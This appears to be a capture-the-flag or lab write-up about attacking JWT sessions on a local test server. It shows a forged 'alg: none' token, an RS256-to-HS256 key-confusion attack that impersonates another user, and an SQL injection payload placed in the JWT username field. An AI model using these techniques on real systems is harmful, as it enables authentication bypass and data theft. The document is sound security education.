ATTACKING JWT’S WITH A CUSTOM SQLMAP TAMPER SCRIPT
The Path of Attack
After reading the documentation on JWT’s, I decided that this will be my next path of attack. There were a few hints to push me down this path. First, I looked up JWT vulnerabilities. Most attack techniques go after the algorithm for signing the token. Might as well give it a try.
Hat tip to this article
"alg":"none"
The easiest attack is where some JWT libraries accept "none"
as a valid algorithm which renders the signature section meaningless. The intention behind this was for the validation to be performed elsewhere in the code. The attack is as simple as:
- changing the
alg
value tonone
- update the payload to anything I’d like
- drop the signature. Cool 😉
There are already tools to do this. I’ll use one called JWT_tool
. It’s output is below. I removed the details for length. See their github repo for instructions on how to use it.
python3 ./jwt_tool.py eyJhbGciOiJSU....
[Snipping out the details for length...]
Your new forged token:
"alg": "none":
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlDSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQWc4QU1JSUNDZ0tDQWdFQXpVbnZiR2lkb3hhb0lsWVFEdGw4XG44QklLMVlKUkI0a2doUlBJSWVLT0NCMEhhb1ZpNTVGZnFWdStuUUxQRmg0akVLRUY2WWg0MXRMWnFiNVFheWpTXG45SGJ4MFJoWnQzWnFRd0krQmNGOXlzbnFSTDBXMWR6Z25lRzJLS2Y3K1FCWmo1OGZqS0pWMi9pSC9Wc1gxaWVpXG5lMTc2cTJrVnJTYWJ2LzVuUUpjRW5DRUxkWW51UWE2QmN1RlBlZnIwckVlTERJZmdCMHpzSFBKbk5JMVFZNlRRXG5RRGorKzRuU1cvd2R5V1NMd2RVWkN2ZE9ENnBxVHR6VlRCT045UkJFeUw3QlBqUFpieXU5dkhQOVNxVUJwU2ZJXG5YRzVSUG04SHBab3ZtendPVzJLOERrOGFtSU5yaytEWEhOZ1Y1NzdaR3cyRnlOaUdvMmJOS2ZoSzl1VlZzbEdRXG5Fbm4wWmdlWUtISmNnQWM1aTZjbkNvZUhCNEVEUDJJeU5NaUlRWElWRURmK1dNNitPcDY1S2xoaWoyL3dMUmZ3XG5UbzVzcnRHRUJxYVhqZ1JPRWhjMk42VWdzOUFXOVZYc1dlU3NhMGJkSWo3UURUd21ZRThZNXdudXVPUkE0QzlqXG42aUVTUDc3a2xGdFBQUnNwZVZlRFpMaHduLzZJdmlxZEtmcWhsbkQ5N0Z3cHl6K2MwTW5PSzJmUVlTNkZkbURLXG5idzVzbVZGcGo1UUdNTmJ3bS9PNzdBOWd0dFVtZFJhUi83QlB4VHI5ZWx0NGpkN3o0cFJlRTBOZGpoREI2L1ZjXG5SdzNnWWE4bDRST3NvdTZLRnZJRFhJUWFManB2R3RxN1plN3JtTnZObmtSa242N0ZKcDQzcmJpV3BNRzh4ZmNFXG41YnFteTdmTlNpR2tIeTV1b1ZhY2U5TUNBd0VBQVE9PVxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MDM5NDQzMTF9.
(Notice that it ends with a trailing dot. That’s the blank signature.)
Testing this on the site:
$ curl -v http://192.168.100.1:1337/ --cookie "session=eyJhbGciOiJ......"
* Trying 192.168.100.1:1337...
* Connected to 192.168.100.1 (192.168.100.1) port 1337 (#0)
> User-Agent: curl/7.72.0
> Cookie: session=eyJhbGciOiJ.....
>
< HTTP/1.1 500 Internal Server Error
< X-Powered-By: Express
Internal server error
500 Internal Server Error
So the server didn’t like it. This indicates some sort of error occurred with the server. It’s vulnerability will depend on how the server code handles a JWT without a signature. Is it a complete crash (and I could attack with a buffer overflow…) or a graceful Error and continue? Either way, the easy path didn’t work.
RSA256 to HS256 Encoding
The next vulnerability with JWT occurs where the signature validation algorithm can be changed. I won’t go into the details, but if you’re interested, see this report. In a nutshell, RSA256 is an asymmetric algorithm with a private and public key. HS256 is symmetrical where the same key is used to sign and then validate. The big hint that this is the vulnerability I’m looking for is that the decoded token includes the Public Key. The declared algorithm in the session token is RS256. If the server also accepts HS256, I can change the algorithm to HS256 and use the public key to sign the token.
Test it out – Proof of Concept 1
First I extracted the public key to a new file and used JWT_tool to change the algorithm to HS256 and then sign the token again using the public key. Theoretically, the server should accept this new token. Instead of using curl
I used the Repeater tab in Burp to update the session cookie and send the new request.
Base64 decoded token:
{"alg": "HS256", "typ": "JWT" }
{ "username": "test", "pk": "-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzUnvbGidoxaoIlYQDtl8\n8BIK1YJRB4kghRPIIeKOCB0HaoVi55FfqVu+nQLPFh4jEKEF6Yh41tLZqb5QayjS\n9Hbx0RhZt3ZqQwI+BcF9ysnqRL0W1dzgneG2KKf7+QBZj58fjKJV2/iH/VsX1iei\ne176q2kVrSabv/5nQJcEnCELdYnuQa6BcuFPefr0rEeLDIfgB0zsHPJnNI1QY6TQ\nQDj++4nSW/wdyWSLwdUZCvdOD6pqTtzVTBON9RBEyL7BPjPZbyu9vHP9SqUBpSfI\nXG5RPm8HpZovmzwOW2K8Dk8amINrk+DXHNgV577ZGw2FyNiGo2bNKfhK9uVVslGQ\nEnn0ZgeYKHJcgAc5i6cnCoeHB4EDP2IyNMiIQXIVEDf+WM6+Op65Klhij2/wLRfw\nTo5srtGEBqaXjgROEhc2N6Ugs9AW9VXsWeSsa0bdIj7QDTwmYE8Y5wnuuORA4C9j\n6iESP77klFtPPRspeVeDZLhwn/6IviqdKfqhlnD97Fwpyz+c0MnOK2fQYS6FdmDK\nbw5smVFpj5QGMNbwm/O77A9gttUmdRaR/7BPxTr9elt4jd7z4pReE0NdjhDB6/Vc\nRw3gYa8l4ROsou6KFvIDXIQaLjpvGtq7Ze7rmNvNnkRkn67FJp43rbiWpMG8xfcE\n5bqmy7fNSiGkHy5uoVace9MCAwEAAQ==\n-----END PUBLIC KEY-----\n", "iat": 1603675628
}

IT WORKED! The server validated the new token signed with the public key and loaded the site without an error. I highlighted in the image above where the server responded with “Welcome test”. “Test” being the username.
Proof of Concept 2
The next test is to play with the payload values and see what they do to the server:
- I dropped the
"pk"
field from the JWT. It still worked. - I registered a
test2
user. Then logged in withtest
, but using Burp, I changed the token in the middle of the transaction to:{ "username": "test2", "iat": 1603675628 }
. It also worked! I was logged in astest2
- Logged in as
test
, but changed the token in the middle of the transaction to an unregistered user. This response was interesting:
user "test3" doesn't exist in our database.
Now I’m convinced that there’s a SQL Injection vulnerability to the site. As a test, I update the username field in the JWT token to:
"username": "' UNION SELECT @@version --"
This very conveniently replied with:
Error: SQLITE_ERROR: unrecognized token: "@"
Awesome! It’s an SQLite database. (I was testing for MySQL). This demonstrated a huge jump forward in the attack. I have code execution in the database. Now all I need to do is get the SQL injection syntax right and download the entire database.
Coming Up…
Knowing it’s an SQLite database narrows down the attack. Proof of Concepts done. The vulnerability is clear. It’s time to move on to the real attack.